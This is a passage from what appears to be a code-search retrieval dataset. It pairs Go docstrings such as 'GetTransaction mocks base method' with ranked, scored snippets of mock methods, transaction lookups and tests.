{\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "da65f6cc2ed5d087028276ea46703f40", "score": "0.48817915", "text": "func (_m *MockService) GetActiveTokenByIdentityID(identityID uuid.UUID, tokenType models.TokenType) (*models.Token, error) {\n\tret := _m.Called(identityID, tokenType)\n\n\tvar r0 *models.Token\n\tif rf, ok := ret.Get(0).(func(uuid.UUID, models.TokenType) *models.Token); ok {\n\t\tr0 = rf(identityID, tokenType)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*models.Token)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(uuid.UUID, models.TokenType) error); ok {\n\t\tr1 = rf(identityID, tokenType)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "6a1a6e442af01d68c17bb97bc6195a65", "score": "0.48815036", "text": "func (_m *Object) GetUID() types.UID {\n\tret := _m.Called()\n\n\tvar r0 types.UID\n\tif rf, ok := ret.Get(0).(func() types.UID); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(types.UID)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "1797664c0a2a4da78dfc6d43d467365c", "score": "0.48780248", "text": "func (_m *Collection) Revision(ctx context.Context) (string, error) {\n\tret := _m.Called(ctx)\n\n\tvar r0 string\n\tif rf, ok := ret.Get(0).(func(context.Context) string); ok {\n\t\tr0 = rf(ctx)\n\t} else {\n\t\tr0 = ret.Get(0).(string)\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(context.Context) error); ok {\n\t\tr1 = rf(ctx)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "587fad1e8ef2cdec102207175568f075", "score": "0.48751572", "text": "func (_m *Broadcast) JobID() int32 {\n\tret := _m.Called()\n\n\tvar r0 int32\n\tif rf, ok := ret.Get(0).(func() int32); ok {\n\t\tr0 = rf()\n\t} else {\n\t\tr0 = ret.Get(0).(int32)\n\t}\n\n\treturn r0\n}", "title": "" } ]
71d7615662acb54b6afd402cde2d44bc
GetTransaction mocks base method
[ { "docid": "db036cf3a73f297a820a1abfac90dee6", "score": "0.6335846", "text": "func (m *MockTransactionStore) GetTransaction(ctx context.Context, id string) (*transactions.Transaction, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTransaction\", ctx, id)\n\tret0, _ := ret[0].(*transactions.Transaction)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" } ]
[ { "docid": "403dcbc7a462f4bb2849e9fe24b06f7c", "score": "0.69356567", "text": "func (m *MockClient) GetTransaction(hash string) (*pb.GetTransactionResponse, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTransaction\", hash)\n\tret0, _ := ret[0].(*pb.GetTransactionResponse)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "433b9d60df36ec2ffe25605034db628d", "score": "0.68958294", "text": "func (m *MockStore) GetTransaction(arg0 context.Context, arg1 uuid.UUID) (*domain.Transaction, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTransaction\", arg0, arg1)\n\tret0, _ := ret[0].(*domain.Transaction)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "ef52b7b89969e2a28322bb69e61a1d98", "score": "0.67797995", "text": "func (m *MockTransactionRepository) Get(id string) (domain.Transaction, error) {\n\tret := m.ctrl.Call(m, \"Get\", id)\n\tret0, _ := ret[0].(domain.Transaction)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "30bc19cb9f33c0c2ca525caf27935a11", "score": "0.6479326", "text": "func (m *MockDB) GetTx() dynamodb.GetTx {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTx\")\n\tret0, _ := ret[0].(dynamodb.GetTx)\n\treturn ret0\n}", "title": "" }, { "docid": "5b2ece9fb31367f4c633356db084c1c0", "score": "0.6464075", "text": "func (m *MockCluster) Transaction(arg0 func(*db.ClusterTx) error) error {\n\tret := m.ctrl.Call(m, \"Transaction\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "531211b32b483399d9926ec14aa8488e", "score": "0.6366374", "text": "func GetTestDbTransaction() (*sql.Tx, sqlmock.Sqlmock) {\n\tdb, mock, err := sqlmock.New()\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tmock.ExpectBegin()\n\n\ttx, err := db.Begin()\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\treturn tx, mock\n}", "title": "" }, { "docid": "13378dcc0c181547739bd077a6918176", "score": "0.63416827", "text": "func (m *MockTransactionRepository) GetUserTransaction(ctx context.Context, transactionID int) (*models.UserTransactionResp, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetUserTransaction\", ctx, transactionID)\n\tret0, _ := ret[0].(*models.UserTransactionResp)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "9972f0f774ceab1b6d2579e8ca1423ff", "score": "0.62235665", "text": "func (m *MockDBTxer) Get(arg0 interface{}, arg1 string, arg2 ...interface{}) error {\n\tvarargs := []interface{}{arg0, arg1}\n\tfor _, a := range arg2 {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"Get\", varargs...)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "title": "" }, { "docid": "094722498abf4f50a6850fa952e6c070", "score": "0.6106643", "text": "func (_m *TrxProcessor) GetTransaction(host string, transactionID string, res *bread.TrxResponse, headers map[string]string) (*bread.TrxResponse, error) {\n\tret := _m.Called(host, transactionID, res, headers)\n\n\tvar r0 *bread.TrxResponse\n\tif rf, ok := ret.Get(0).(func(string, string, *bread.TrxResponse, map[string]string) *bread.TrxResponse); ok {\n\t\tr0 = rf(host, transactionID, res, headers)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*bread.TrxResponse)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(string, string, *bread.TrxResponse, map[string]string) error); ok {\n\t\tr1 = rf(host, transactionID, res, headers)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "a1cabbc1e98f4ebbcd6f4f6900dc12f4", "score": "0.6059359", "text": "func TestTransaction(t *testing.T) {\n\t// success scenarios\n\tt.Run(\"TestName:Passed_TransactionPassed\", TransactionPassed)\n\t// failure scenarios\n\tt.Run(\"TestName:Failed_Transaction\", TransactionFailed)\n}", "title": "" }, { "docid": "c5432e0524dbddfc14fbfdbd6c2cada4", "score": "0.601717", "text": "func (_m *Gateway) GetTransaction(_a0 flow.Identifier) (*flow.Transaction, error) {\n\tret := _m.Called(_a0)\n\n\tvar r0 *flow.Transaction\n\tif rf, ok := ret.Get(0).(func(flow.Identifier) *flow.Transaction); ok {\n\t\tr0 = rf(_a0)\n\t} else {\n\t\tif ret.Get(0) != nil {\n\t\t\tr0 = ret.Get(0).(*flow.Transaction)\n\t\t}\n\t}\n\n\tvar r1 error\n\tif rf, ok := ret.Get(1).(func(flow.Identifier) error); ok {\n\t\tr1 = rf(_a0)\n\t} else {\n\t\tr1 = ret.Error(1)\n\t}\n\n\treturn r0, r1\n}", "title": "" }, { "docid": "36f5e0de34d4c727885d23b1600f9d94", "score": "0.599551", "text": "func (m *MockWallet) GetTransactionByHash(arg0 common.Hash) (interface{}, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTransactionByHash\", arg0)\n\tret0, _ := ret[0].(interface{})\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "66dfebf92251429c433dee7c59f2b023", "score": "0.59765893", "text": "func (a API) GetTransaction(cmd *btcjson.GetTransactionCmd) (e error) {\n\tRPCHandlers[\"gettransaction\"].Call <- API{a.Ch, cmd, nil}\n\treturn\n}", "title": "" }, { "docid": "5b2737ac47591ac66aa13f30a0d192a4", "score": "0.596902", "text": "func (trm transactionRepositoryMock) Save(_ *entity.Transaction) (*entity.Transaction, error) {\n\tif trm.err != nil {\n\t\treturn nil, trm.err\n\t}\n\n\treturn trm.transaction, nil\n}", "title": "" }, { "docid": "749c6b065e12a12e79584e599b6ee776", "score": "0.59355044", "text": "func (m *MockWallet) GetTransactionCount(arg0 common.Address, arg1 rpc.BlockNumber) (*hexutil.Uint64, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTransactionCount\", arg0, arg1)\n\tret0, _ := ret[0].(*hexutil.Uint64)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "8233704ca9b6b2ea9fb015f6957d112d", "score": "0.59271014", "text": "func (_PausableMock *PausableMockRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) {\n\treturn _PausableMock.Contract.PausableMockTransactor.contract.Transact(opts, method, params...)\n}", "title": "" }, { "docid": "a5ef445352b28988a5ace20148ddb6ee", "score": "0.59072983", "text": "func NewTransactionMock() *TransactionMock {\n\treturn &TransactionMock{\n\t\tID: uuid.New().String(),\n\t\tAmount: 10.0,\n\t\tOperationType: 1,\n\t}\n}", "title": "" }, { "docid": "eb019ff0fb195d0c45dcb2e1d504babc", "score": "0.5891148", "text": "func (_PausableMock *PausableMockTransactorRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) {\n\treturn _PausableMock.Contract.contract.Transact(opts, method, params...)\n}", "title": "" }, { "docid": "734256e306fa44457853498ac05c9da1", "score": "0.5857996", "text": "func (m *MockStore) CreateTransaction(arg0 context.Context, arg1 *domain.Authorization, arg2 time.Time) (*domain.Transaction, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CreateTransaction\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(*domain.Transaction)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "7b7cdd8ee83a79b567b366d637acb1be", "score": "0.58563745", "text": "func (_m *Blobs) Transaction(fn func(data.Blobs) error) error {\n\tret := _m.Called(fn)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(func(data.Blobs) error) error); ok {\n\t\tr0 = rf(fn)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "title": "" }, { "docid": "bed7e256c6f3d5b1da217164e18cfa82", "score": "0.58265036", "text": "func (m *MockClient) GetTransactionByBlockHashAndIndex(blockHash string, index uint64) (*pb.GetTransactionResponse, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTransactionByBlockHashAndIndex\", blockHash, index)\n\tret0, _ := ret[0].(*pb.GetTransactionResponse)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "28f5a13390b49eb2a3400780aaffe7b8", "score": "0.58036065", "text": "func GetTransaction(w *wallet.Wallet, chainSvr *chain.Client, icmd interface{}) (interface{}, error) {\n\tcmd := icmd.(*btcjson.GetTransactionCmd)\n\n\ttxSha, err := wire.NewShaHashFromStr(cmd.Txid)\n\tif err != nil {\n\t\treturn nil, &btcjson.RPCError{\n\t\t\tCode: btcjson.ErrRPCDecodeHexString,\n\t\t\tMessage: \"Transaction hash string decode failed: \" + err.Error(),\n\t\t}\n\t}\n\n\tdetails, err := w.TxStore.TxDetails(txSha)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tif details == nil {\n\t\treturn nil, &ErrNoTransactionInfo\n\t}\n\n\tsyncBlock := w.Manager.SyncedTo()\n\n\t// TODO: The serialized transaction is already in the DB, so\n\t// reserializing can be avoided here.\n\tvar txBuf bytes.Buffer\n\ttxBuf.Grow(details.MsgTx.SerializeSize())\n\terr = details.MsgTx.Serialize(&txBuf)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// TODO: Add a \"generated\" field to this result type. \"generated\":true\n\t// is only added if the transaction is a coinbase.\n\tret := btcjson.GetTransactionResult{\n\t\tTxID: cmd.Txid,\n\t\tHex: hex.EncodeToString(txBuf.Bytes()),\n\t\tTime: details.Received.Unix(),\n\t\tTimeReceived: details.Received.Unix(),\n\t\tWalletConflicts: []string{}, // Not saved\n\t\t//Generated: blockchain.IsCoinBaseTx(&details.MsgTx),\n\t}\n\n\tif details.Block.Height != -1 {\n\t\tret.BlockHash = details.Block.Hash.String()\n\t\tret.BlockTime = details.Block.Time.Unix()\n\t\tret.Confirmations = int64(confirms(details.Block.Height, syncBlock.Height))\n\t}\n\n\tvar (\n\t\tdebitTotal btcutil.Amount\n\t\tcreditTotal btcutil.Amount // Excludes change\n\t\toutputTotal btcutil.Amount\n\t\tfee btcutil.Amount\n\t\tfeeF64 float64\n\t)\n\tfor _, deb := range details.Debits {\n\t\tdebitTotal += deb.Amount\n\t}\n\tfor _, cred := range details.Credits {\n\t\tif !cred.Change {\n\t\t\tcreditTotal += cred.Amount\n\t\t}\n\t}\n\tfor _, output := range details.MsgTx.TxOut {\n\t\toutputTotal -= btcutil.Amount(output.Value)\n\t}\n\t// Fee can only be determined if every input is a debit.\n\tif len(details.Debits) == len(details.MsgTx.TxIn) {\n\t\tfee = debitTotal - outputTotal\n\t\tfeeF64 = fee.ToBTC()\n\t}\n\n\tif len(details.Debits) == 0 {\n\t\t// Credits must be set later, but since we know the full length\n\t\t// of the details slice, allocate it with the correct cap.\n\t\tret.Details = make([]btcjson.GetTransactionDetailsResult, 0, len(details.Credits))\n\t} else {\n\t\tret.Details = make([]btcjson.GetTransactionDetailsResult, 1, len(details.Credits)+1)\n\n\t\tret.Details[0] = btcjson.GetTransactionDetailsResult{\n\t\t\t// Fields left zeroed:\n\t\t\t// InvolvesWatchOnly\n\t\t\t// Account\n\t\t\t// Address\n\t\t\t// Vout\n\t\t\t//\n\t\t\t// TODO(jrick): Address and Vout should always be set,\n\t\t\t// but we're doing the wrong thing here by not matching\n\t\t\t// core. Instead, gettransaction should only be adding\n\t\t\t// details for transaction outputs, just like\n\t\t\t// listtransactions (but using the short result format).\n\t\t\tCategory: \"send\",\n\t\t\tAmount: (-debitTotal).ToBTC(), // negative since it is a send\n\t\t\tFee: &feeF64,\n\t\t}\n\t\tret.Fee = feeF64\n\t}\n\n\tcredCat := wallet.RecvCategory(details, syncBlock.Height).String()\n\tfor _, cred := range details.Credits {\n\t\t// Change is ignored.\n\t\tif cred.Change {\n\t\t\tcontinue\n\t\t}\n\n\t\tvar addr string\n\t\t_, addrs, _, err := txscript.ExtractPkScriptAddrs(\n\t\t\tdetails.MsgTx.TxOut[cred.Index].PkScript, activeNet.Params)\n\t\tif err == nil && len(addrs) == 1 {\n\t\t\taddr = addrs[0].EncodeAddress()\n\t\t}\n\n\t\tret.Details = append(ret.Details, btcjson.GetTransactionDetailsResult{\n\t\t\t// Fields left zeroed:\n\t\t\t// InvolvesWatchOnly\n\t\t\t// Account\n\t\t\t// Fee\n\t\t\tAddress: addr,\n\t\t\tCategory: credCat,\n\t\t\tAmount: cred.Amount.ToBTC(),\n\t\t\tVout: cred.Index,\n\t\t})\n\t}\n\n\tret.Amount = creditTotal.ToBTC()\n\treturn ret, nil\n}", "title": "" }, { "docid": "37294e0b15cd52395f6e9def3ff1136d", "score": "0.57956356", "text": "func FakeTransaction() Transaction {\n\treturn Transaction(FakeHash())\n}", "title": "" }, { "docid": "48832ad51cc4e8eaeff0f7e58b49f88a", "score": "0.57942075", "text": "func (m *MockWallet) GetTransactionByBlockHashAndIndex(arg0 common.Hash, arg1 hexutil.Uint) (interface{}, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTransactionByBlockHashAndIndex\", arg0, arg1)\n\tret0, _ := ret[0].(interface{})\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "6bf88f938d586c669e12f78ed8b0c64d", "score": "0.5793502", "text": "func (dao *MongoDAO) GetTransaction(txid string) (insightjson.Tx, error) {\n\tsessionCopy := db.Session.Copy()\n\tdefer sessionCopy.Close()\n\n\ttx, err := chainhash.NewHashFromStr(txid)\n\tif err != nil {\n\t\tlog.Warnf(\"failed convert txid string to hash: %s\\n\", err)\n\t}\n\n\tresult := insightjson.Tx{}\n\n\terr = sessionCopy.DB(db.Name).C(TRANSACTIONS).Find(bson.M{\"txid\": tx.String()}).One(&result)\n\tif err != nil {\n\t\treturn result, err\n\t}\n\n\treturn result, err\n}", "title": "" }, { "docid": "92e006827190cfd929c2eb21bcbee945", "score": "0.5793148", "text": "func (m *MockIApi) CreateTransaction(arg0 *chartmogul.Transaction, arg1 string) (*chartmogul.Transaction, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"CreateTransaction\", arg0, arg1)\n\tret0, _ := ret[0].(*chartmogul.Transaction)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "0959c96f8f6f561bf494e3a61fd20903", "score": "0.57885194", "text": "func (m *MockTransactionStore) GetTransactions(ctx context.Context, nextID string) ([]*transactions.Transaction, bool, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTransactions\", ctx, nextID)\n\tret0, _ := ret[0].([]*transactions.Transaction)\n\tret1, _ := ret[1].(bool)\n\tret2, _ := ret[2].(error)\n\treturn ret0, ret1, ret2\n}", "title": "" }, { "docid": "a3c64310ae43663af8ae06f71279538a", "score": "0.5768008", "text": "func (tp *TransactionProcessor) GetTransaction(txHash string) (*transaction.ApiTransactionResult, error) {\n\treturn tp.getTxFromObservers(txHash)\n}", "title": "" }, { "docid": "75b293a5ca2a77bc2daa1d8052768ebd", "score": "0.5767876", "text": "func (t *Transaction) Mock(amount int, merchant string, time string) {\n\tt.Amount = amount\n\tt.Merchant = merchant\n\tt.Time = time\n}", "title": "" }, { "docid": "919bcec55725f7dfb1fa2907380e722d", "score": "0.5761573", "text": "func TestGetTx(t *testing.T) {\n\tservice := defaultService(t)\n\tdefaultAddress(t, service)\n\tservice.vm.Ctx.Lock.Lock()\n\tdefer func() {\n\t\tif err := service.vm.Shutdown(); err != nil {\n\t\t\tt.Fatal(err)\n\t\t}\n\t\tservice.vm.Ctx.Lock.Unlock()\n\t}()\n\n\ttype test struct {\n\t\tdescription string\n\t\tcreateTx func() (*Tx, error)\n\t}\n\n\ttests := []test{\n\t\t{\n\t\t\t\"standard block\",\n\t\t\tfunc() (*Tx, error) {\n\t\t\t\treturn service.vm.newCreateChainTx( // Test GetTx works for standard blocks\n\t\t\t\t\ttestSubnet1.ID(),\n\t\t\t\t\tnil,\n\t\t\t\t\tavm.ID,\n\t\t\t\t\tnil,\n\t\t\t\t\t\"chain name\",\n\t\t\t\t\t[]*crypto.PrivateKeySECP256K1R{testSubnet1ControlKeys[0], testSubnet1ControlKeys[1]},\n\t\t\t\t\tkeys[0].PublicKey().Address(), // change addr\n\t\t\t\t)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"proposal block\",\n\t\t\tfunc() (*Tx, error) {\n\t\t\t\treturn service.vm.newAddValidatorTx( // Test GetTx works for proposal blocks\n\t\t\t\t\tservice.vm.minValidatorStake,\n\t\t\t\t\tuint64(service.vm.clock.Time().Add(syncBound).Unix()),\n\t\t\t\t\tuint64(service.vm.clock.Time().Add(syncBound).Add(defaultMinStakingDuration).Unix()),\n\t\t\t\t\tids.GenerateTestShortID(),\n\t\t\t\t\tids.GenerateTestShortID(),\n\t\t\t\t\t0,\n\t\t\t\t\t[]*crypto.PrivateKeySECP256K1R{keys[0]},\n\t\t\t\t\tkeys[0].PublicKey().Address(), // change addr\n\t\t\t\t)\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\t\"atomic block\",\n\t\t\tfunc() (*Tx, error) {\n\t\t\t\treturn service.vm.newExportTx( // Test GetTx works for proposal blocks\n\t\t\t\t\t100,\n\t\t\t\t\tservice.vm.Ctx.XChainID,\n\t\t\t\t\tids.GenerateTestShortID(),\n\t\t\t\t\t[]*crypto.PrivateKeySECP256K1R{keys[0]},\n\t\t\t\t\tkeys[0].PublicKey().Address(), // change addr\n\t\t\t\t)\n\t\t\t},\n\t\t},\n\t}\n\n\tfor _, test := range tests {\n\t\ttx, err := test.createTx()\n\t\tif err != nil {\n\t\t\tt.Fatalf(\"failed test '%s': %s\", test.description, err)\n\t\t}\n\t\targ := &api.GetTxArgs{\n\t\t\tTxID: tx.ID(),\n\t\t\tEncoding: formatting.CB58,\n\t\t}\n\t\tvar response api.FormattedTx\n\t\tif err := service.GetTx(nil, arg, &response); err == nil {\n\t\t\tt.Fatalf(\"failed test '%s': haven't issued tx yet so shouldn't be able to get it\", test.description)\n\t\t} else if err := service.vm.mempool.IssueTx(tx); err != nil {\n\t\t\tt.Fatalf(\"failed test '%s': %s\", test.description, err)\n\t\t} else if block, err := service.vm.BuildBlock(); err != nil {\n\t\t\tt.Fatalf(\"failed test '%s': %s\", test.description, err)\n\t\t} else if err := block.Verify(); err != nil {\n\t\t\tt.Fatalf(\"failed test '%s': %s\", test.description, err)\n\t\t} else if err := block.Accept(); err != nil {\n\t\t\tt.Fatalf(\"failed test '%s': %s\", test.description, err)\n\t\t} else if blk, ok := block.(*ProposalBlock); ok { // For proposal blocks, commit them\n\t\t\tif options, err := blk.Options(); err != nil {\n\t\t\t\tt.Fatalf(\"failed test '%s': %s\", test.description, err)\n\t\t\t} else if commit, ok := options[0].(*Commit); !ok {\n\t\t\t\tt.Fatalf(\"failed test '%s': should prefer to commit\", test.description)\n\t\t\t} else if err := commit.Verify(); err != nil {\n\t\t\t\tt.Fatalf(\"failed test '%s': %s\", test.description, err)\n\t\t\t} else if err := commit.Accept(); err != nil {\n\t\t\t\tt.Fatalf(\"failed test '%s': %s\", test.description, err)\n\t\t\t}\n\t\t} else if err := service.GetTx(nil, arg, &response); err != nil {\n\t\t\tt.Fatalf(\"failed test '%s': %s\", test.description, err)\n\t\t} else {\n\t\t\tresponseTxBytes, err := formatting.Decode(response.Encoding, response.Tx)\n\t\t\tif err != nil {\n\t\t\t\tt.Fatalf(\"failed test '%s': %s\", test.description, err)\n\t\t\t}\n\t\t\tif !bytes.Equal(responseTxBytes, tx.Bytes()) {\n\t\t\t\tt.Fatalf(\"failed test '%s': byte representation of tx in response is incorrect\", test.description)\n\t\t\t}\n\t\t}\n\t}\n}", "title": "" }, { "docid": "4397a570f1722407ad7e980e6449910b", "score": "0.5743364", "text": "func TestTransaction(t *testing.T) {\n\tif testing.Short() {\n\t\tt.Skip(\"Skipping integration tests in short mode\")\n\t}\n\trepo := tu.UniqueString(\"TestTransaction-repo\")\n\tsetup := tu.BashCmd(`\n\t\tpachctl start transaction > /dev/null\n\t\tpachctl create repo {{.repo}}\n\t\tpachctl create branch {{.repo}}@master\n\t\tpachctl start commit {{.repo}}@master\n\t\t`,\n\t\t\"repo\", repo,\n\t)\n\n\toutput, err := (*exec.Cmd)(setup).Output()\n\trequire.NoError(t, err)\n\tcommit := strings.TrimSpace(string(output))\n\n\t// The repo shouldn't exist yet\n\trequire.YesError(t, tu.BashCmd(\"pachctl inspect repo {{.repo}}\", \"repo\", repo).Run())\n\n\t// Check that finishing the transaction creates the requested objects\n\trequire.NoError(t, tu.BashCmd(`\n\t\tpachctl finish transaction\n\t\tpachctl inspect repo {{.repo}}\n\t\tpachctl inspect commit {{.repo}}@master\n\t\tpachctl inspect commit {{.repo}}@{{.commit}}\n\t\t`,\n\t\t\"repo\", repo,\n\t\t\"commit\", commit,\n\t).Run())\n}", "title": "" }, { "docid": "8e157d896f65cc0671c0b52521e1715b", "score": "0.57356894", "text": "func (m *MockRepository) GetByTransactionID(arg0 context.Context, arg1 string) (golangtraining.Inquiry, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetByTransactionID\", arg0, arg1)\n\tret0, _ := ret[0].(golangtraining.Inquiry)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "49c58343c19804bd6a19ddaa234f601d", "score": "0.57294786", "text": "func GetTransaction(storage localfs.Storage) func(c echo.Context) error {\n\treturn func(c echo.Context) error {\n\t\tc.Response().Header().Set(echo.HeaderContentType, echo.MIMEApplicationJSONCharsetUTF8)\n\n\t\tunescapedTenant, err := url.PathUnescape(c.Param(\"tenant\"))\n\t\tif err != nil {\n\t\t\tc.Response().WriteHeader(http.StatusNotFound)\n\t\t\treturn nil\n\t\t}\n\t\ttenant := strings.TrimSpace(unescapedTenant)\n\t\tif tenant == \"\" {\n\t\t\tc.Response().WriteHeader(http.StatusNotFound)\n\t\t\treturn nil\n\t\t}\n\t\tunescapedID, err := url.PathUnescape(c.Param(\"id\"))\n\t\tif err != nil {\n\t\t\tc.Response().WriteHeader(http.StatusNotFound)\n\t\t\treturn nil\n\t\t}\n\t\tid := strings.TrimSpace(unescapedID)\n\t\tif id == \"\" {\n\t\t\tc.Response().WriteHeader(http.StatusNotFound)\n\t\t\treturn nil\n\t\t}\n\n\t\ttransaction, err := persistence.LoadTransaction(storage, tenant, id)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif transaction == nil {\n\t\t\tc.Response().WriteHeader(http.StatusNotFound)\n\t\t\treturn nil\n\t\t}\n\n\t\tchunk, err := json.Marshal(transaction)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tc.Response().WriteHeader(http.StatusOK)\n\t\tc.Response().Write(chunk)\n\t\tc.Response().Flush()\n\t\treturn nil\n\t}\n}", "title": "" }, { "docid": "6940b7ac3f8d6d33ee2ab301fea006bb", "score": "0.57193536", "text": "func (m *MockWallet) GetTransactionByBlockNumberAndIndex(arg0 rpc.BlockNumber, arg1 hexutil.Uint) (interface{}, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTransactionByBlockNumberAndIndex\", arg0, arg1)\n\tret0, _ := ret[0].(interface{})\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "d865bdca351ef5dc3b42b3bb3a31243b", "score": "0.5713657", "text": "func (m *MockClient) GetTransactionByBlockNumberAndIndex(blockNum, index uint64) (*pb.GetTransactionResponse, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTransactionByBlockNumberAndIndex\", blockNum, index)\n\tret0, _ := ret[0].(*pb.GetTransactionResponse)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "3c7163306dd1c0b5a3908dcfce6ac9e8", "score": "0.56987894", "text": "func GetTransaction(c *gin.Context) {\n\tef, ok := c.MustGet(\"elrondProxyFacade\").(FacadeHandler)\n\tif !ok {\n\t\tshared.RespondWithInvalidAppContext(c)\n\t\treturn\n\t}\n\n\ttxHash := c.Param(\"txhash\")\n\tif txHash == \"\" {\n\t\tshared.RespondWith(c, http.StatusBadRequest, nil, errors.ErrTransactionHashMissing.Error(), data.ReturnCodeRequestError)\n\t\treturn\n\t}\n\n\tsndAddr := c.Request.URL.Query().Get(\"sender\")\n\tif sndAddr != \"\" {\n\t\tgetTransactionByHashAndSenderAddress(c, ef, txHash, sndAddr)\n\t\treturn\n\t}\n\n\ttx, err := ef.GetTransaction(txHash)\n\tif err != nil {\n\t\tshared.RespondWith(c, http.StatusInternalServerError, nil, err.Error(), data.ReturnCodeInternalError)\n\t\treturn\n\t}\n\n\tshared.RespondWith(c, http.StatusOK, gin.H{\"transaction\": tx}, \"\", data.ReturnCodeSuccess)\n}", "title": "" }, { "docid": "a6656af4f61ac1941ab744548993b5fe", "score": "0.56786865", "text": "func (p *PovApi) GetTransaction(txHash types.Hash) (*PovApiTxLookup, error) {\n\tvar rspData PovApiTxLookup\n\terr := p.client.getClient().Call(&rspData, \"pov_getTransaction\", txHash)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &rspData, nil\n}", "title": "" }, { "docid": "6d1af2aa573dc5c781e9bdfbd0632836", "score": "0.5655146", "text": "func (_ERC20SucceedingMock *ERC20SucceedingMockTransactorRaw) Transact(opts *bind.TransactOpts, method string, params ...interface{}) (*types.Transaction, error) {\n\treturn _ERC20SucceedingMock.Contract.contract.Transact(opts, method, params...)\n}", "title": "" }, { "docid": "394abe1a5301d8bc175beba1bb4a750f", "score": "0.5652363", "text": "func (m *MockWallet) GetRawTransactionByHash(arg0 common.Hash) (hexutil.Bytes, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetRawTransactionByHash\", arg0)\n\tret0, _ := ret[0].(hexutil.Bytes)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "9069d04efe748a25ff2e7390dbb3364e", "score": "0.5650331", "text": "func (m *MockDB) GetTransitAlloc(arg0 context.Context, arg1, arg2 uint16) (uint64, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"GetTransitAlloc\", arg0, arg1, arg2)\n\tret0, _ := ret[0].(uint64)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "95e357d1f8503a40e693589905438155", "score": "0.5648334", "text": "func getTestTransaction() *Transaction {\n\tex, _ := btcec.PrivKeyFromBytes(btcec.S256(), testPri)\n\tid := node_meta.NewAddress(ex.PubKey())\n\tutxos := make([]UTXO, 0)\n\n\ttoAccount := 